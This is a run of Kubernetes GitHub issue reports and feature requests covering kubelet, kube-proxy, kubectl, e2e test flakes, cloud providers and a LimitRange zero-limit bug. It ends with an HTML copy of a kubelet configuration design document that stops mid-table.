kubernetes version and the verify openapi-spec test to pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm on os x. delete  swagger.json , run  hack/update-openapi-spec.sh , check the  git diff . i also tried to delete the build images that i had locally. this didn't make a difference.\r \r   environment  :\r - os  e.g. from /etc/os-release : os x 10.13.5\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r in pr  68483 we tightened the --provider parameter checking of the e2e.test binary such that it only accepted known providers. this turned out to be problematic  https://github.com/kubernetes/kubernetes/issues/70058  because people had started to depend on the previous behavior, which was to accept anything and merely warn about it.\r \r for the sake of giving people time to adapt, pr  70141 reverted to the older behavior.\r \r   what you expected to happen  :\r \r in 1.14 we want to allow only known providers. while at it, the error handling for unknown providers should be enhanced  print proper error message instead of calling failf, which panics .\r \r /assign\r 

it looks like plugin registration mechanism of csi might be broken:\r \r    \r oct 31 13:57:11 foobar-csi-test-minion-group-xxx kubelet 1987 : e1031 13:57:11.226647    1987 plugin_watcher.go:115  error failed to get plugin info using rpc getinfo at socket /var/lib/kubelet/plugins/com.google.csi.gcepd/csi.sock, err: rpc error: code = unimplemented desc = unkno\r wn service pluginregistration.registration when handling create event: \ /var/lib/kubelet/plugins/com.google.csi.gcepd/csi.sock\ : create\r    \r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r we run on  aws eks . we had a node that gone in \ node not ready\  state. at the same time we got some dns lookup errors from a service. at the failed node neither a  replica/pod  of this service was running nor a  coredns  pod. so our leading theory is that the dns lookups are related to  kube-proxy  daemonset. \r   what you expected to happen  :\r if probes in place might the errors not exist or be fewer.\r   how to reproduce it  as minimally and precisely as possible   :\r it is not reproducible.\r   anything else we need to know?  :\r we wonder if a  livenessprobe  addition to  kube-proxy   should help in situations like this. but neither eks implementation of  kube-proxy   have probes, nor anyone else f.e  kube-proxy daemonset example  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/kube-proxy/kube-proxy-ds.yaml  . is there any reason for not try to add probes  readiness and liveness  on  kube-proxy ?\r   what would you like to be added  :\r probes to  kube-proxy  ds.\r   why is this needed  :\r if our theory is correct  kube-proxy  pod on the failing node could be out  not trying to serve traffic  sooner, and we might avoid the relevant dns error.\r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.11\r - cloud provider or hardware configuration:\r aws eks\r - os  e.g:  cat /etc/os-release  :\r amazon linux\r \r if this issue looks reasonable i am keen to raise a relevant pr. if there are any reasons for not to try this possible solution i would appreciate to know.\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r azure cloud provider configures securitygroup, routetable and loadbalancer by invoking arm apis. but on cluster initialization stage, it may update them even when the create operation from provisioning tools doesn't finish. because the later put would cancel a previous ongoing one, this would introduce troubles for provisioning tools.\r \r we should check the status of securitygroup and routetable, and only do updates for them when they are in state  succeeded | failed | canceled .\r \r also for a running cluster, other components may also update those resources. so etag for each resource should be honored when the cloud provider updates them.\r \r   what you expected to happen  :\r \r cloud provider shouldn't cancel operations from provisioning tools.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r   / /milestone v1.15

minion nodes have their route added to the subnets routing table when they register with the controller manager. this is not the case for the master node and requires manually adding master ip range externally  kube-up.sh .  if the master node can register with the controller manager, this would no longer be an issue. for the api server to be set for the master, the salt template for the /etc/sysconfig/kubelet file needs to be configured.      {% if grains 'roles'  0  == 'kubernetes-master' -%}   {% if grains.cloud in  'aws', 'gce', 'vagrant', 'vsphere'  -%}        unless given a specific directive, disable registration for the kubelet       running on the master.     {% if grains.kubelet_api_servers is defined -%}       {% set api_servers_with_port = \ --api-servers=https://\  + grains.kubelet_api_servers -%}       {% set master_kubelet_args = master_kubelet_args + \ --register-schedulable=false\  -%}       {% set reconcile_cidr_args =  \ --reconcile-cidr=false\  -%}     {% else -%}       {% set api_servers_with_port = \ \  -%}     {% endif -%}        disable the debugging handlers  /run and /exec  to prevent arbitrary       code execution on the master.       todo roberthbailey : relax this constraint once the master is self-hosted.     {% set debugging_handlers = \ --enable-debugging-handlers=false\  -%}   {% endif -%} {% endif -%}      this code block shows that when the kubelet_api_servers is defined, it will add --api-servers to the kubelet config. the master would then attempt to communicate with the api server when it eventually started.  however, the bootstrap script will prevent this from working.        if    ! -z \ ${kubelet_apiserver:-}\     &&    ! -z \ ${kubelet_cert:-}\     &&    ! -z \ ${kubelet_key:-}\    ; then     cat <<eof >>/etc/salt/minion.d/grains.conf          kubelet_api_servers: '${kubelet_apiserver}'   cbr-cidr: 10.123.45.0/30 eof   else       if the kubelet is running disconnected from a master, give it a fixed       cidr range.     cat <<eof >>/etc/salt/minion.d/grains.conf   cbr-cidr: ${master_ip_range} eof   fi      if kubelet_apiserver  and the cert/key that go with it  are set, the cbr cidr block is automatically set to 10.124.45.0/30.  the master_ip_range defaults to 10.246.0.0/24. there is no need for the cbr cidr to be set to 10.123.45.0/30.   by removing the conditional check  or swapping the blocks around , the master would always attempt to set the master_ip_range, which would cause the cbr cidr block for docker to be set correctly. this range would then match what the api servers consider the master range and the controller manager would then add the route automatically.  are there any possible workarounds so i don't need to rely on the code within the kube-up.sh to set the route?      $aws_cmd create-route --route-table-id $route_table_id --destination-cidr-block ${master_ip_range} --instance-id $master_id > $log

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-etcd3/586/  failed:  k8s.io  pods should be submitted and removed  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:266 failed to observe pod deletion /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:255      previous issues for this test:  26224

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r   storage plugin/pv controller  \r \r   is this a bug report or feature request?    choose one :\r   bug  \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r \r \r  eg. \ waiting for external provisioner \ foo/test\  to provision a volume or creating a volume mannually for the claim \r \r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.5.2\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :ubuntu\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r in testing of an external dynamic provisioner, the first message/status is shown is the following. this gives the user the \ false sense of failure, while in fact the external provisioner is still \ in-progress...processing the request.\r \r _2m 2m 3 {persistentvolume-controller } normal externalprovisioning cannot find provisioner \ ubiquity/flex\ , expecting that a volume for the claim is provisioned either manually or via external software_\r \r the event in question is something that pv_controller  part of k8s distribution  adds if it can't find an existing pv matching new pvc's requirements. dynamic provisioner runs as a separate process  outside k8s  and can only add new events -- not change existing events in k8s. hence we see multiple messages events \r \r \r   what you expected to happen  :\r at a minimum, the error message should change to be something more generic when \ external\  provisioners are utilized and only post 1 message\r \r  eg. \ waiting for external provisioner \ foo/test\  to provision a volume or creating a volume mannually for the claim \r \r   how to reproduce it    as minimally and precisely as possible :\r use the an external provisioner  i.e nfs example or create a new one... . observe the first message from pv controller. then wait for the dynamic provisioner to finish provisioning which will change the status of the pvc to be be bound\r \r \r   anything else we need to know  :\r \r

on  current master  https://github.com/kubernetes/kubernetes/blob/a7fa2aef8deb40eb1d159dbf7f0d8ea7d6d10dac/staging/src/k8s.io/client-go/util/jsonpath/jsonpath.go l458-l460 ,  jsonpath  will fail to evaluate a filter when the  'left'  member does not exist:\r \r    go\r if len lefts  != 1 {\r     return input, fmt.errorf \ can only compare one element at a time\  \r }\r    \r \r for instance, if i were to execute\r \r    \r kubectl get pods -o jsonpath='{.items @.metadata.annotations.foo==\ bar\  .metadata.name}'\r    \r \r where not all  pods  in that namespace had the  foo  annotation, this would fail with the error message:\r \r    \r error: error executing jsonpath \ {.items ? @.metadata.annotations.foo==\\\ bar\\\   .metadata.name}\ : can only compare one element at a time\r    \r \r this is confusing as it leads me to think more than one item was selected, so while it is not technically incorrect the error message is misleading.\r \r i would furthermore expect  jsonpath  to more gracefully handle this case -- a missing  'left'  here means that the filter should fail, not error.

is this a bug report or feature request?  :\r  \r   what happened  :\r using image : gcr.io/google_containers/cloud-controller-manager:v1.8.0 \r \r when cloud sdk talks to an https endpoint, it will fail with error:\r    \r x509: failed to load system roots and no roots provided\r    \r \r that's due to ca cert packages not pre-installed on the image.\r \r a workaround is to bind host '/etc/ssl' to the running container, then it can work well.\r \r the 'hyperkube' image does not have this issue.\r \r   what you expected to happen  :\r the container image should be able to connect to https endpoint directly, since most cloud sdks would talk to https endpoints.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r

 \r   what happened  : \r \r   what you expected to happen  :\r a new  imagepullpolicy  that would behave as  notifpresent , but also compare the hash the tag points to of the underlying cached image.\r \r the use case is to retain the optimization of  notifpresent  and also allow vanity tags   v1 ,  stable-1   for non-breaking changes of an image.\r \r an alternative would be adding some semantic versioning logic, but i think this would be more simple.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r i was using kubectl to get service list but find the it will printer duplicated header.\r \r    \r root@hchenxa-2:~/hchenwork/opentraceing  kubectl  get service --all-namespaces | grep -v nginx  | grep -v kube-system\r namespace         name                                             type        cluster-ip     external-ip   port s              age\r default           date-server                                      clusterip   10.0.45.13     <none>        8080/tcp            2h\r default           kubernetes                                       clusterip   10.0.0.1       <none>        443/tcp             31d\r namespace         name                                             type        cluster-ip     external-ip   port s              age\r namespace         name                                             type        cluster-ip     external-ip   port s              age\r namespace         name                                             type        cluster-ip     external-ip   port s              age\r namespace         name                                             type        cluster-ip     external-ip   port s              age\r namespace         name                                             type        cluster-ip     external-ip   port s              age\r namespace         name                                             type        cluster-ip     external-ip   port s              age\r default           zipkin                                           clusterip   10.0.223.224   <none>        9411/tcp            2h\r docker-registry   docker-registry                                  clusterip   10.0.63.45     <none>        5000/tcp            1d\r    \r \r the reason may caused by i have 3000+ services.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create 3000 service and use kubectl to get the service list\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r even though we set follwing limitrange, users can use cpu/memory larther than 1 cpu or 1gi memory by setting  0  for the pod limits.\r \r ~~~\r apiversion: \ v1\ \r kind: \ limitrange\ \r metadata:\r   name: \ core-resource-limits\ \r spec:\r   limits:\r     - type: \ pod\ \r       max:\r         cpu: \ 1\ \r         memory: \ 1gi\ \r     - type: \ container\ \r       max:\r         cpu: \ 1\ \r         memory: \ 1gi\ \r ~~~\r \r   what you expected to happen  :\r \r - kubernetes should not allow users to create pods with cpu/memory of  0  limit.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r      1. set limitrange as following  we expect that pods/container has the max limit. \r \r ~~~\r apiversion: \ v1\ \r kind: \ limitrange\ \r metadata:\r   name: \ core-resource-limits\ \r spec:\r   limits:\r     - type: \ pod\ \r       max:\r         cpu: \ 1\ \r         memory: \ 1gi\ \r     - type: \ container\ \r       max:\r         cpu: \ 1\ \r         memory: \ 1gi\ \r ~~~\r \r      2. create pod with  0  limits\r \r ~~~\r $ kubectl create -f pod.yaml\r ~~~\r \r pod.yaml\r ~~~\r apiversion: v1\r kind: pod\r metadata:\r   name: nginx\r spec:\r   containers:\r   - name: nginx\r     image: nginx:1.7.9\r     ports:\r     - containerport: 80\r     resources:\r       limits:\r         cpu: \ 0\ \r         memory: \ 0\ \r ~~~\r \r      3. consume cpu  it will exceed limitrange as  0  means unlimited. \r \r ~~~\r $ kubectl exec -it nginx\r   yes\r ~~~\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r ~~~\r $ ~/bin/kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.1.147+12f726c33a0e75\ , gitcommit:\ 12f726c33a0e759c8795892e9d27ecbf8e3c5f4d\ , gittreestate:\ clean\ , builddate:\ 2018-10-19t08:43:11z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.1.147+12f726c33a0e75-dirty\ , gitcommit:\ 12f726c33a0e759c8795892e9d27ecbf8e3c5f4d\ , gittreestate:\ dirty\ , builddate:\ 2018-10-19t10:48:33z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r ~~~\r \r - cloud provider or hardware configuration:\r \r bare metal \r \r - os  e.g. from /etc/os-release :\r \r ~~~\r $ cat /etc/redhat-release \r fedora release 28  twenty eight \r ~~~\r \r - kernel  e.g.  uname -a  :\r \r ~~~\r $ uname -a\r linux p50 4.16.14-300.fc28.x86_64  1 smp tue jun 5 16:23:44 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r ~~~\r

i do not appear to be able to use kubectl to perform a field selector.  in particular, i wanted to select pods that were scheduled to a particular node.  expected to be able to do:      kubectl get pods --all-namespaces -l spec.nodename=10.245.1.3      but that only filters on labelselectors, and there is no way to pass a fieldselector.

i searched but didn't find this, so i'm going to propose it here.  users should be able to easily  - mutate individual keys in a config map and secret - extract a configmap/secret to disk  this would enable simpler interaction in scripts that depend on it.  we should  1. add  kubectl set secret-data secret ...  2. add  kubectl extract secret/name  directory/file    also, the  --from-literal  syntax makes me want to die a little on the inside every time i am forced to use it  for being the most common use case, it's about 12 characters too long to type .  it makes it too hard to mutate these fields.  we should at least consider how to apply the environment variable, annotation, and label syntax to these operations.        create a secret kubectl create secret generic foo --from-literal=password=something    extract the secret to disk in the current directory as a file \ password\  with contents \ something\  kubectl extract secret/foo    mutate the secret kubectl set secret-data foo --from-literal=password=other      and similar operations for config.  @kubernetes/kubectl @kubernetes/rh-ux

repro:\r \r using windows  kubectl.exe  in a powershell terminal:\r \r    console\r kubectl get deployments foo -o yaml > foo.yaml\r    \r \r alternate repro:\r \r    console\r kubectl get deployments foo -o yaml > fooutf8.yaml\r iconv -f utf8 -t utf16 fooutf8.yaml > foo.yaml\r    \r \r    console\r od -c foo.yaml\r    \r \r you'll see all of the  \\0  in the file.\r \r compare this to using the linux save, or standard windows terminal save.\r \r powershell converts to utf16.\r \r we should be able to support loading from utf16.\r \r also, the error messages we kicked in this situation were terrible, if i hadn't thought to check the encoding i'd be pulling my hair out.\r

example:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.5-1.6-upgrade-master/21\r \r schedulerpredicates tests, which are serial, are waiting for all test namespaces to be deleted before executing. the current time limit for waiting is an hour. in the upgrade-master jobs, this is never succeeding resulting in each of these taking an hour to run  doing nothing .  it's not immediately clear from the logs which testing namespace is causing the issue.\r \r @krousey @ixdy @ethernetdan

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   bug report  :\r \r  \r   what happened  :\r we run the kube-proxy in a self hosted manner via hyperkube and the kubelet in rkt on the host.\r \r after deploying a new version of a kube-proxy daemonset i noticed that the nodes  .status.nodeinfo.kubeproxyversion  field was still showing the old version information.\r \r this appears to be due to the kubelet assuming that the kube-proxy is the sameversion and reporting as such:\r https://github.com/kubernetes/kubernetes/blob/787f5e0fe5e10c08c52055f451e16a4b545524be/pkg/kubelet/kubelet_node_status.go l619\r \r   what you expected to happen  :\r the nodes  .status.nodeinfo.kubeproxyversion  field to be set accurately\r \r   how to reproduce it  as minimally and precisely as possible   :\r run differing versions of the kubelet and kube-proxy on a node\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t09:50:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0+coreos.0\ , gitcommit:\ 8c1bf133b4129042ef8f7d1ffac1be14ee83ed10\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t17:46:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : openstack\r - os  e.g. from /etc/os-release : container linux 1353.7.0\r - kernel  e.g.  uname -a  :  linux kubernetes-kubernetes-zone2-1-1499865995 4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel xeon e3-12xx v2  ivy bridge  genuineintel gnu/linux \r - install tools: heat/kubernetes\r - others:\r

https://storage.googleapis.com/k8s-gubernator/triage/index.html?ci=0&pr=1&text=unable%20to%20retrieve%20the%20complete%20list%20of%20server%20apis\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/51909/pull-kubernetes-e2e-gce-etcd3/52487/ sig-network-services-should-provide-secure-master-service-conformance\r \r the e2e framework cleanup does resource discovery to try to ensure all content is deleted from the test namespace. if a parallel test cleans up a custom resource during that discovery, it can cause a errgroupdiscoveryfailed error.\r \r options:\r 1. mark all e2e tests that create/delete dynamic types  crds or extension api servers  as serial\r 2. make the e2e framework namespace cleanup tolerate partial discovery for groups we expect to be dynamically added/removed\r \r e2e tests that create these:\r   test/e2e/apimachinery/garbage_collector.go  via newrandomnamecustomresourcedefinition \r   test/e2e/apimachinery/custom_resource_definition.go  via newrandomnamecustomresourcedefinition \r   test/e2e/apimachinery/aggregator.go

see https://docs.google.com/document/d/18-mschptkrmgcsqaqn9qggwuufok90sznbbwvkfzryo/ for details.\r \r doc reprinted here, with worse formatting:\r \r <html><head><meta content=\ text/html; charset=utf-8\  http-equiv=\ content-type\ ></head><body class=\ c31\ ><p class=\ c18 title\  id=\ h.ulrt23q582vb\ ><span class=\ c7 c22 c29\ >graduating kubeletflags subfields to kubeletconfiguration</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span class=\ c2\ >author: @mtaufen</span></p><p class=\ c4\ ><span class=\ c2\ >last updated: 11-17-2017</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><h1 class=\ c25\  id=\ h.2616nvrhto7a\ ><span class=\ c7 c19\ >background</span></h1><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>we are close to graduating the kubeletconfiguration type to beta. we are close to graduating the ability to load kubelet configuration from a file-based representation of this type. dynamic kubelet configuration is also coming down the pipe, but not quite as near term as file-based configuration.</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span class=\ c2\ >flags in the kubelet target either kubeletflags or kubeletconfiguration. when the kubeletconfiguration goes beta, all flags targeting the kubeletconfiguration will be deprecated and eventually removed. the standard way to load this subset of configuration will be from a file.</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span class=\ c2\ >the eventual goal is to have as few flags as possible. many fields have been left in kubeletflags, because we aren& 39;t exactly sure whether they should remain in the kubelet, and it& 39;s easier to deprecate command-line flags than kubeletconfiguration fields  the latter carries longer-term compatibility guarantees, because files and configmaps are long-lived objects . </span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>it is </span><span class=\ c28\ >highly likely</span><span class=\ c2\ >&nbsp;that we will want to lift fields from kubeletflags into kubeletconfiguration. thus far, we& 39;ve assumed this would be fine because the api guidelines allow adding new fields to existing api objects.</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span class=\ c2\ >the purpose of a lot of this configuration work is to decouple configuration from binaries. unfortunately, the precedence order of flags, files, and configuration in today& 39;s kubelet will require configuration rollouts to be coordinated with binary rollouts every time a field moves from kubeletflags to kubeletconfiguration.</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>this is because in today& 39;s kubelet, file-based and remote  configmap  configurations completely override command-line flags that target kubeletconfiguration -- including default values for omitted keys. this was intentional: we wanted users to be able to look at a </span><span class=\ c28\ >single</span><span class=\ c2\ >&nbsp;source to know their configuration. mentally merging multiple sources is complex and error prone.</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span class=\ c2\ >again, this works fine for an an api object that evolves in a conventional way. it is more complicated when transitioning command-line flags into that api object, as we& 39;ll see below.</span></p><h1 class=\ c25\  id=\ h.5ty3od4nmnvg\ ><span class=\ c7 c19\ >precedence in today& 39;s kubelet</span></h1><p class=\ c4\ ><span class=\ c2\ >precedence in today& 39;s kubelet looks like this. higher-numbered layers take precedence</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><a id=\ t.08336f99c3ed32719302eff0f762dc63399ccd5c\ ></a><a id=\ t.0\ ></a><table class=\ c9\ ><tbody><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >layer</span></p></td><td class=\ c23\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletflags</span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletconfiguration</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >3  remote </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c2\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c2\ >completely overrides kubeletconfiguration in lower layers</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >2  file </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c2\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c2\ >completely overrides kubeletconfiguration in lower layers</span></p></td></tr><tr class=\ c26\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >1  cli </span></p></td><td class=\ c30\  colspan=\ 2\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c2\ >only provided cli flags override lower layers</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >0  defaults </span></p></td><td class=\ c23\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c2\ >kubeletflags defaults</span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c2\ >kubeletconfiguration defaults</span></p></td></tr></tbody></table><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>for example, let& 39;s say we have two kubelet versions, k</span><span class=\ c14\ >1</span><span>&nbsp;and k</span><span class=\ c14\ >2</span><span class=\ c2\ >. </span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>the fields in k</span><span class=\ c14\ >1</span><span class=\ c2\ >&nbsp;are distributed as follows:</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><a id=\ t.8c5aca40b272b4aaea68c413c4111d5a17b8875e\ ></a><a id=\ t.1\ ></a><table class=\ c9\ ><tbody><tr class=\ c11\ ><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletflags</span></p></td><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletconfiguration</span></p></td></tr><tr class=\ c11\ ><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c7 c6\ >1</span></p></td><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span></p></td></tr></tbody></table><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>in k</span><span class=\ c14\ >2</span><span>, f</span><span class=\ c14\ >1</span><span>&nbsp;moves from kubeletflags to kubeletconfiguration. the associated cli flag name is retargeted from kubeletflags.f</span><span class=\ c14\ >1</span><span>&nbsp;to kubeletconfiguration.f</span><span class=\ c14\ >1</span><span class=\ c2\ >:</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><a id=\ t.bcc56eda915b0b19590713fff603f2f6b2f64765\ ></a><a id=\ t.2\ ></a><table class=\ c9\ ><tbody><tr class=\ c11\ ><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletflags</span></p></td><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletconfiguration</span></p></td></tr><tr class=\ c11\ ><td class=\ c20 c21\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0 c5\ ><span class=\ c7 c6\ ></span></p></td><td class=\ c20\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >1</span></p><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span></p></td></tr></tbody></table><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span>let there be remote and file-based configurations that both specify f</span><span class=\ c14\ >2</span><span>, and let f</span><span class=\ c14\ >1</span><span class=\ c2\ >&nbsp;be specified on the command-line.</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><p class=\ c4\ ><span class=\ c8\ >k</span><span class=\ c14 c8\ >1</span><span class=\ c16 c8\ >&nbsp;interpretes the configuration layers like this:</span></p><p class=\ c4 c5\ ><span class=\ c2\ ></span></p><a id=\ t.b68839a57845fe7965ed544ebba305b2ec480d26\ ></a><a id=\ t.3\ ></a><table class=\ c9\ ><tbody><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >layer</span></p></td><td class=\ c23\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletflags</span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c16 c8\ >kubeletconfiguration</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >3  remote </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c17 c22\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span><span class=\ c1\ >remote</span></p></td></tr><tr class=\ c11\ ><td class=\ c15\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c0\ ><span class=\ c16 c8\ >2  file </span></p></td><td class=\ c10\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c3\ ><span class=\ c7 c6\ ></span></p></td><td class=\ c12\  colspan=\ 1\  rowspan=\ 1\ ><p class=\ c13\ ><span class=\ c17\ >f</span><span class=\ c6\ >2</span><span class=\ c1\ >file</span></p></td></tr><tr class=\ c26\ ><td class=\ c15\  colspan=\ 1\  